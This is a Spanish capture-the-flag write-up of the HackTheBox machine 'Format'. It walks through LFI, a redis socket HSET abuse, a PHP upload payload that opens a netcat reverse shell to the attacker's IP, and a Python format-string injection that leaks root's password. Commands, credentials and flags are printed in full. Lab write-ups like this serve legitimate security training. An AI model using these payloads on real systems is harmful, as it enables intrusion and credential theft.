Format es una máquina de dificultad media en la plataforma de HTB. Para acceder debemos crear un subdominio a través de la web, editamos el campo TXT y podemos realizar LFI. Nos convertimos en Pro y nos permiten subir imágenes. Podemos crear un documento y ejecutar código visitando el archivo subido. A través del mismo conseguiremos acceso a la máquina como www-data y para convertirnos en el usuario cooper las obtendremos desde redis-cli. Como último podemos ejecutar un script como root que nos permitirá ver la contraseña del usuario root desde redis-cli.

Enumeración

Escaneo de puertos

Realizamos un escaneo mediante nmap para descubrir los puertos abiertos de la máquina.

❯ sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.34.244 -oG allPorts
[sudo] contraseña para mrx: 
Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-14 20:38 CEST
Initiating SYN Stealth Scan at 20:38
Scanning 10.129.34.244 [65535 ports]
Discovered open port 80/tcp on 10.129.34.244
Discovered open port 22/tcp on 10.129.34.244
Discovered open port 3000/tcp on 10.129.34.244
Completed SYN Stealth Scan at 20:38, 11.82s elapsed (65535 total ports)
Nmap scan report for 10.129.34.244
Host is up, received user-set (0.049s latency).
Scanned at 2023-05-14 20:38:25 CEST for 11s
Not shown: 65532 closed ports
Reason: 65532 resets
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
3000/tcp open  ppp     syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 11.93 seconds
           Raw packets sent: 66285 (2.917MB) | Rcvd: 65600 (2.624MB)

En este caso son 3 los puertos abiertos: el 22 (SSH), el 80 (Web) y el 3000 (Web).

Los parámetros utilizados son:

  • -p- : Escaneo de todos los puertos. (65535)
  • –open: Para que solo muestre los puertos abiertos
  • -sS : Realiza un TCP SYN Scan para escanear de manera rápida que puertos están abiertos.
  • –min-rate 5000: Especificamos que el escaneo de puertos no vaya más lento que 5000 paquetes por segundo, el parámetro anterior y este hacen que el escaneo se demore menos.
  • -vvv: El modo verbose hace que nos muestre la información en cuanto la descubra.
  • -n: No realiza resolución de DNS, evitamos que el escaneo dure más tiempo del necesario.
  • -Pn: Deshabilitamos el descubrimiento de host mediante ping.
  • -oG: Este tipo de fichero guarda todo el escaneo en una sola línea, haciendo que podamos utilizar comandos como: grep, sed, awk, etc. Este tipo de fichero es muy bueno para la herramienta extractPorts que nos permite copiar directamente los puertos abiertos en la clipboard.

Escaneamos los puertos abiertos para descubrir los servicios y versiones.

❯ nmap -p22,80,3000 -sCV 10.129.34.244 -oN targeted
Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-14 20:41 CEST
Nmap scan report for 10.129.34.244
Host is up (0.064s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp   open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Site doesn't have a title (text/html).
3000/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://microblog.htb:3000/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.84 seconds

En el puerto 3000 nos redirige al dominio microblog.htb así que lo añadimos en el /etc/hosts.

Si intentamos acceder a la web del puerto 80 nos redirige al subdominio app.microblog.htb así que lo añadimos también.

Visitamos la web principal, en este caso el subdominio.

HTB

Nos registramos en la web, creamos un subdominio y lo añadimos al /etc/hosts.

HTB

Una vez añadido podemos editar el subdominio, así que probamos a realizar un XSS.

HTB

Como podemos observar se trata de un XSS Stored.

HTB

Probamos a capturar una petición del registro TXT del subdominio e intentamos realizar un LFI.

HTB

En efecto, el campo id es vulnerable a LFI, y descubrimos 2 usuarios: cooper y git.

HTB

Visitamos la web por el puerto 3000, se trata de un Gitea y el usuario Cooper tiene un repositorio. Como vemos en la imagen se trata de los archivos de la web y el subdominio, así que le echamos un vistazo al código en busca de vulnerabilidades.

HTB

Entre las líneas 25 y 35 podemos encontrar esta parte del código bastante interesante. Podemos ver que si la condición isPro es True entonces podremos subir algún tipo de archivo, aunque seguramente solo sean imágenes. De alguna forma debemos convertirnos en Pro para poder subir archivos a la web.

function provisionProUser() {
    if(isPro() === "true") {
        $blogName = trim(urldecode(getBlogName()));
        system("chmod +w /var/www/microblog/" . $blogName);
        system("chmod +w /var/www/microblog/" . $blogName . "/edit");
        system("cp /var/www/pro-files/bulletproof.php /var/www/microblog/" . $blogName . "/edit/");
        system("mkdir /var/www/microblog/" . $blogName . "/uploads && chmod 700 /var/www/microblog/" . $blogName . "/uploads");
        system("chmod -w /var/www/microblog/" . $blogName . "/edit && chmod -w /var/www/microblog/" . $blogName);
    }
    return;
}

Intrusión

El servidor funciona mediante REDIS, para poder convertir nuestra cuenta en Pro debemos apuntar al socket y en formato HSET. HSET básicamente lo que haces cambiar los valores de los campos especificados.

❯ curl -X HSET "http://microblog.htb/static/unix:%2Fvar%2Frun%2Fredis%2Fredis.sock:hyper%20pro%20true%20a/b"

Una vez seamos usuario Pro enviamos una petición mediante Burpsuite y ejecutamos un ping hacia nuestra máquina de atacante.

id=/var/www/microblog/hyper/uploads/rev.php&txt=<%3fphp+echo+shell_exec("ping+-c+1+10.10.14.119")%3b%3f>

HTB

Nos quedamos a la escucha de trazas ICMP por la interfaz tun0. Una vez enviada la petición debemos visitar la siguiente ruta de la web.

❯ sudo tcpdump -n -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes

Una vez enviada la petición debemos visitar la siguiente ruta de la web para poder ejecutar el código PHP.

HTB

Si todo es correcto nos llega la traza ICMP de la máquina víctima, comprobando así que tenemos capacidad de ejecución de comandos.

❯ sudo tcpdump -n -i tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
01:22:58.693843 IP 10.129.31.165 > 10.10.14.119: ICMP echo request, id 63454, seq 1, length 64
01:22:58.693871 IP 10.10.14.119 > 10.129.31.165: ICMP echo reply, id 63454, seq 1, length 64

Enviamos una reverse shell a nuestra máquina de atacante.

id=/var/www/microblog/hyper/uploads/rev.php&txt=<%3fphp+echo+shell_exec("rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|sh+-i+2>%261|nc+10.10.14.119+4444+>/tmp/f")%3b%3f>

HTB

Volvemos a visitar la ruta anterior para que nos interprete el código PHP y obtenemos la reverse shell.

❯ nc -nvlp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.37.13 35472
sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ hostname -I
10.129.37.13 
$ 

Si pasamos el pspy y vemos un proceso de redis interesante.

2023/05/17 09:21:01 CMD: UID=103   PID=599    | /usr/bin/redis-server 127.0.0.1:0

Nos conectamos por el socket, ya que redis no está en abierto en ningún puerto.

www-data@format:/home/cooper$ redis-cli -s /run/redis/redis.sock 
redis /run/redis/redis.sock> KEYS *
1) "cooper.dooper:sites"
2) "cooper.dooper"
redis /run/redis/redis.sock> TYPE cooper.dooper
hash

Obtenemos la contraseña del usuario cooper en la línea 4.

redis /run/redis/redis.sock> HGETALL cooper.dooper
 1) "username"
 2) "cooper.dooper"
 3) "password"
 4) "zooperdoopercooper"
 5) "first-name"
 6) "Cooper"
 7) "last-name"
 8) "Dooper"
 9) "pro"
10) "false"

Escalada de privilegios

Nos conectamos por SSH con el usuario cooper y leemos la flag.

❯ ssh [email protected]
The authenticity of host '10.129.37.13 (10.129.37.13)' can't be established.
ED25519 key fingerprint is SHA256:30cTQN6W3DKQMMwb5RGQA6Ie1hnKQ37/bSbe+vpYE98.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.37.13' (ED25519) to the list of known hosts.
[email protected]'s password: 
Linux format 5.10.0-22-amd64 #1 SMP Debian 5.10.178-3 (2023-04-22) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
cooper@format:~$ cat user.txt
********************************
cooper@format:~$ 

Podemos ejecutar como sudo el archivo license así que miramos que es.

cooper@format:~$ sudo -l
[sudo] password for cooper: 
Matching Defaults entries for cooper on format:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cooper may run the following commands on format:
    (root) /usr/bin/license
cooper@format:~$ 

Podemos ver que se trata de un script en python.

cooper@format:~$ cat /usr/bin/license                                                                                                                                                   
#!/usr/bin/python3
import base64                 
from cryptography.hazmat.backends import default_backend                                    
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC             
from cryptography.fernet import Fernet                                                      
import random                                                                                                                                                                           
import string                                                                                                                                                                           
from datetime import date                                                                                                                                                               
import redis                             
import argparse                               
import os                                                                                   
import sys                                                                                                                                                                              

class License():                
    def __init__(self):   
        chars = string.ascii_letters + string.digits + string.punctuation                                                                                                               
        self.license = ''.join(random.choice(chars) for i in range(40))
        self.created = date.today()           

if os.geteuid() != 0:
    print("")                                 
    print("Microblog license key manager can only be run as root")
    print("")      
    sys.exit()                              

parser = argparse.ArgumentParser(description='Microblog license key manager')               
group = parser.add_mutually_exclusive_group(required=True)             
group.add_argument('-p', '--provision', help='Provision license key for specified user', metavar='username')
group.add_argument('-d', '--deprovision', help='Deprovision license key for specified user', metavar='username')
group.add_argument('-c', '--check', help='Check if specified license key is valid', metavar='license_key')
args = parser.parse_args()              

r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')

secret = [line.strip() for line in open("/root/license/secret")][0]                                                                                                              [20/64]
secret_encoded = secret.encode()
salt = b'microblogsalt123'
kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())
encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))

f = Fernet(encryption_key)
l = License()

#provision     
if(args.provision):
    user_profile = r.hgetall(args.provision)
    if not user_profile:                                                                    
        print("")                                                                           
        print("User does not exist. Please provide valid username.")   
        print("")                            
        sys.exit()
    existing_keys = open("/root/license/keys", "r")
    all_keys = existing_keys.readlines()
    for user_key in all_keys:                                                 
        if(user_key.split(":")[0] == args.provision):
            print("")
            print("License key has already been provisioned for this user")
            print("")
            sys.exit()
    prefix = "microblog"
    username = r.hget(args.provision, "username").decode()
    firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()
    license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)
    print("")
    print("Plaintext license key:")
    print("------------------------------------------------------")
    print(license_key)
    print("")
    license_key_encoded = license_key.encode() 
    license_key_encrypted = f.encrypt(license_key_encoded)
    print("Encrypted license key (distribute to customer):")
    print("------------------------------------------------------")
    print(license_key_encrypted.decode())
    print("")
    with open("/root/license/keys", "a") as license_keys_file:
        license_keys_file.write(args.provision + ":" + license_key_encrypted.decode() + "\n")

#deprovision
if(args.check):
    print("")
    try:
        license_key_decrypted = f.decrypt(args.check.encode())
        print("License key valid! Decrypted value:")
        print("------------------------------------------------------")
        print(license_key_decrypted.decode())
    except:
        print("License key invalid")
    print("")

Si leemos el archivo podemos realizar un Python Format String Vulnerabilities. Nos conectamos con redis y obtenemos la contraseña en texto plano.

redis /var/run/redis/redis.sock> HMSET test first-name "{license.__init__.__globals__[secret_encoded]}" last-name test username test
OK
redis /var/run/redis/redis.sock> exit
cooper@format:~$ sudo /usr/bin/license -p test

Plaintext license key:
------------------------------------------------------
microblogtestAv*pd5bU$#)!Ef@un(7nX!vkA;)|AD:A}e/DET{tb'unCR4ckaBL3Pa$$w0rd'test

Encrypted license key (distribute to customer):
------------------------------------------------------
gAAAAABkZBqEo0E7jcv6FFBjGKoCi238MGNfhobcAFoqmkKXW0WJD0Sn1JuKMymKAEfTdV2Pz-zYlVuKrKgDZJp7ft-R4b8LxkeFwerwg85tIjvgDNK-PKp_H9x4WhR0zydRMPAKB77EsK6rJfsg9_JxOlne9U9mC9ed0onBt5UHNfsqUwH6wRI=

Nos conectamos con root y leemos la flag.

cooper@format:~$ su root
Password: 
root@format:/home/cooper# cat /root/root.txt
fdb57fdc6ee411835663ddfb6822b8d1
root@format:/home/cooper#
5 thoughts on “Format – HTB”
  1. I really like your write-ups. They are so easy to understand, even for beginners even though your write-ups are in Spanish it’s easy to translate into English. Looking forward to your future write-ups.

Leave a Reply

Your email address will not be published. Required fields are marked *